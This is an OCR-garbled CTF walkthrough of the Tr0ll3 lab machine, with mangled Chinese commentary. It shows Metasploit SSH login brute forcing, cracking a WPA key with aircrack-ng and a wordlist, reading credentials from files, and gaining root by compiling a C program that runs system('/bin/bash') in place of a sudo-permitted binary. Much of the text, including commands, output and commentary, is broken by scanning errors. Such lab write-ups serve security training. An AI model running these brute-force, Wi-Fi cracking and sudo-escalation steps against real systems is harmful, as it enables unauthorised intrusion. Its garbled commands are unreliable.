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start@Tr0113: " redpillS cat
stepZ:Passwordl?

start@Trol113: " redpills
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start@Tro113:"bluepill$ cat awesome_work
http:~ sbfy.tu-0Da
start@Trol113: " bluepillS _

R, Ui, TRAIDE T, % dkcur, WL python

start@Tro113: " bluepills python3

Python 3.6.8 (default, Jan 14 2019, 11:02:34)

[GCC §.0.1 20180414 (experimental) [trunk revision 25938311 on linux
Type “help", “copyright”, "credits" or “license" for more information.
»»> import requests

»>» a=requests.get("http: bfy.tw0Da")

>»> a.url

"https :/uww. Ingtfy.com Tq=how+do+you+make+a+hacker+uwaste+t inex3F"

x>
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Etart@Tro113: " bluepills 1s ~hone
Etart@Trol113: " bluepills
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-perm &
‘dev/null

'\.'ar,a‘lc_ng; .dist-manat cﬂant;hddt_lw.Cap

.hints/lol/rofl/roflmao/this/isnt/gonna/stop/anytime/soon/still/goin|
fit/gold star.txt
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uE, AT LA @Hi msfRiEATsshid % ( auxiliarylscannerlssh/ssh_login )

68.51.149
192.
auxiliary( ' et rport 22
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[+] 192.168.51.149:22
34 GNU/Linux

SR I T+ ymeterpreter

sessions -u sessionid

LR H 448 meterpreter I & i &

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
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No. Time Source Destination Protocel Length Info
-LinkT_3f:23: Broadcast . Beacon frame, SN=636, FN=0

21.862272 Tp-LinkT_3f:23:89 Broadcast 802.11 249 Data, SN=645, FN=0, Flags=.p....F.
3 4.919614 Tp-LinkT_3f:23:89 Broadcast 802.11 249 Data, SN=661, FN=0, Flags=.p....F.
4 7.989760 Tp-LinkT_3f:23:89 Broadcast 802.11 249 Data, SN=677, FN=0, Flags=.p....F.
5 10.446517 IntelCor_f4:e5:a2 Tp-LinkT_3f:23:89 802.11 26 QoS Null function (No data), SN=@, FN=@, Flags=
6 10.448571 IntelCor_f4:e5:a2 (.. 802.11 18 Acknowledgement, Flags=........
7 10.450161 IntelCor_f4:e5:a2 Tp-LinkT_3f:23:89 802.11 26 QoS Null function (No data), SN=0, FN=8, Flags=...P
8 10.452163 IntelCor_f4:e5:a2 (.. 862.11 10 Acknowledgement, Flags=........
9 11.059452 Tp-LinkT_3f:23:89 Broadcast 802.11 249 Data, SN=693, FN=0, Flags=.p....F.
10 14.133181 Tp-LinkT_3f:23:89 Broadcast 802.11 249 Data, SN=789, FN=0, Flags=.p....F.
11 15.658509 Tp-LinkT_3f:23:89 Broadcast 882.11 26 Deauthentication, SN=0, FN=0, Flags=........
12 15 ARARRT Tn-linkT 2f-23-R84 Rrnadract a2 11 28 Neauthentication SN=1 CN=RA FElanc=

» Frame 1: 277 bytes on wire (2216 bits), 277 bytes captured (2216 bits)

“Tp-Link”, i X B iZ & — MEEwifilfi =8, H Lk, Haircrack-ngift 47 % fif

aricrack-ng -w wordlist.txt .cap



[6@:16:03] 2473708/3248858

Time left: 1 hour, 32 minute

KEY FOUND! [ galUoCe34tl

Transient Key

AB Uﬂpi4t@BJ301W3W#W”Fﬂfbﬁ en?.

FREANIRE—DH P EIE (wytshadow:gaUoCe34t1)

wytshadow@Trell3:~% sudo -1
[sudo] password for wytshadow:
Matching Defaults entries for wytshadow on Troll3:
env_reset, mail badpass,
secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bi
n

User wytshadow may run the following commands on Troll3:
(root) fusr/sbin/service nginx start
wytshadow@Troll3:~4% sudo fusr/sbin/service nginx start
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A& nginxisites-enable

erver configuration

{
listen 8080 default server;

listen [::]:8080 default server;
it ($http_user_agent !~ "Lynx*"){
return 403;

&k B H:Muser_agentts il LA (1

HTTP/1.1 200 OK

Server: nginz/1.14.0 (Ubuntu)

Date: Tue, 13 Aug 2019 10:45:45 GMT
Content-Type: text/html

Content—Length: 19

Last-Modified: Thu, 01 Aug 2019 11:00:33 GMT
Commection: close

ETag: "5d42c¢667-137

Accept—Ranges: bytes
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Matching Defaults entries for genphlux on Trell3:

enyv_ t, mail badpass,

secure_path=/usr/local/sbin\: /usr/local/bin\: /usr/sbin\:/
n

service apache2? start

FokibH — A webfr%s, 1HAENZ—1403, % Fletc/apache2/sites-enabled

allow from 127.0.0.1
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http://127.0.0.1:80
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maleus@Tréll3:~% sudo -1

Matching Defaults entries for maleus on Troll3:
env_reset, mail badpass, secure path=/usr/local/s}

User maleus may run the following commands on Tre@ll3:
(root) /home/maleus/dont even bother

iX/~dont_even_botherfé i 172 1] B, TRATE S R G gcchmiFiiiT 1

int main()

{
system("/bin/bash");

}

gcce test.c -o dont_even_bother
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maleus@Tr@ll3:~% sudo dont even bother
[sudo] password for maleus:

fEmaleus H % &I T .viminfo

# Registers:

et 11 LINE 0
passwd
LINE 0
B*s1c8I%

LINE 0]

# File marks:

ATEMT ISR, XA 1 IR

sudo dont_even_bother




Kf3root

sudo ./dont even
ord for maleus:
rofc ]

uid=0(root) d=0(root) groups=0(root)
root@Trell3: ~#
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https://twitter.com/rajchandel
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